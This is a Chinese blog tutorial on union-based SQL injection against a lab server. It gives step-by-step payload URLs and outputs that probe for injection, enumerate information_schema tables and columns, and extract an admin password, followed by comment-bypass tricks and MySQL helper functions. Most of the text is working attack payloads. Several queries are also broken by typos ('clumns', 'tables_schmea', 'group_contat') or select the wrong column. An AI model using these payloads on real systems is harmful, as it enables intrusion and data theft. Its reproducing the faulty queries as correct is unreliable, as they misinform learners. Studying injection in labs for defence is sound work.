数据库
首页 > 数据库> > SQL注入-显错注入

SQL注入-显错注入

作者:互联网

显错注入
步骤1:判断是否存在注入点
步骤2:猜解字段数
步骤3:联合查询找出输出点
步骤4:去系统自带库查询表名和字段名
步骤5:查询我们需要的字段名

步骤1:判断是否存在注入点
192.168.1.10/1/? id = 1

这里可以用id = 1 '来确定是否存在注入点,192.168.1.10/1/? id = 1 and 1 = 1
**注:**and 1 = 1非常容易被过滤掉
或者用sleep(n)函数来确认是否存在注入点:192.168.1.10/1/? id = 1 and sleep ( 10 )
如果网页存在延迟说明存在注入点

步骤2:猜解字段数
order by 后面跟字段,可以试出数据库有多少个字段
order by 1: 以第一个字段排序
order by 2:以第二个字段排序
order by 4:报错,因为没有第四个字段

步骤3:联合查询找出输出点
(1)输入:192.168.1.10/1/? id = 1 and 1=2 union select 1,2
输出:2
(2)输入:192.168.1.10/1/? id = 1 union select 1,2
输出:正常页面

输入:192.168.1.10/1/? id = 1 union select 1,2 limit 0,1

(and 1 = 2)这里的不需要报错也可以使用联合查询
select 1,2 这里的1,2不是必须,1和2好分辨
limit 0,1 表示第一个数据只显示1个
limit 1,1 表示第二个数据只显示1个

**注:**联合查询 的前一段和后一段的字段数必须要相等

步骤4:去系统自带库查询表名和字段名
查询表名
database( )函数:判断是在哪个数据库中
(1)输入:192.168.1.10/1/? id = 1 and 1=2 union select 1,database()
输出:maoshe (显示在maoshe这个数据库里)
(2)输入:192.168.1.10/1/? id = 1 and 1=2 union select 1,2 from information_schema.tables
输出:2
information_schema :系统自带表名
.tables:表
information_schema.tables:代表这个库里的表名
(3)输入:192.168.1.10/1/? id = 1 and 1=2 union select 1,2 from information_schema.tables where tables_schmea = ’ maoshe ’
输出:未报错
tables_schmea:指定这个表名是maoshe
(4)输入:192.168.1.10/1/? id = 1 and 1=2 union select 1,table_name from information_schema.tables where table_schema = ’ maoshe ’
输出:admin (admin如果不是想要查询的表名)
table_name:查询表名
(5)(admin如果不是想要查询的表名)
输入:192.168.1.10/1/? id = 1 and 1=2 union select 1,table_name from information_schema.tables where table_schema = ’ maoshe ’ limit 1,1
输出:adminadmin(第二个表名)
(6)(adminadmin如果不是想要查询的表名)
输入:192.168.1.10/1/? id = 1 and 1=2 union select 1,table_name from information_schema.tables where table_schema = ’ maoshe ’ limit 2,1
输出:drr(第三个表名)
(7)(drr如果不是想要查询的表名)
输入:192.168.1.10/1/? id = 1 and 1=2 union select 1,table_name from information_schema.tables where table_schema = ’ maoshe ’ limit 3,1
输出:未显示 说明只有两个表名
查询字段名
(1)输入:192.168.1.10/1/? id = 1 and 1=2 union select 1,table_name from information_schema.clumns where table_name = ’ admin ’
输出:ID
clumns:系统自带字段名
(2)输入:192.168.1.10/1/? id = 1 and 1=2 union select 1,table_name from information_schema.clumns where table_name = ’ admin ’
limit 1,1
输出:usename
(3)输入:192.168.1.10/1/? id = 1 and 1=2 union select 1,table_name from information_schema.clumns where table_name = ’ admin ’
limit 2,1
输出:password

步骤5:查询我们需要的字段名
(1)输入:192.168.1.10/1/? id = 1 and 1 = 2 union select 1,password from admin
输出:helloworld


闭合可以用#、%23、–+、–空格(–%20)
其中#和–+在MySQL中常用

常用函数:
group_concat( ) 返回由属于一组的列值连接组合而成的结果
ascll(char) 返回字符的ascll码值
database( ) 返回当前数据库名
user()或system_user()返回当前登录用户名
version()返回MySQL服务器的版本
sleep(n) 休眠n秒

and 1 = 1 容易被过滤,可以用and sleep(n)
sleep 有延时说明已经被当成SQL语句去执行,所以存在注入


输入:192.168.1.10/1/? id = 1 and 1 = 2 union select 1,group_contat(table_name) from information_schema.tables where table_schema = ’ maoshe ’
输出:admin,adminadmin,drr 查询所有表名

输入:192.168.1.10/1/? id = 1 and 1 = 2 union select 1,group_contat(column_name) from information_schema.columns where table_schema = ’ qwer ’
输出:QWER,QWEr,qwER 查询所有字段名

标签:显错,1.10,192.168,SQL,table,schema,id,select,注入
来源: https://blog.csdn.net/weixin_41995178/article/details/114275884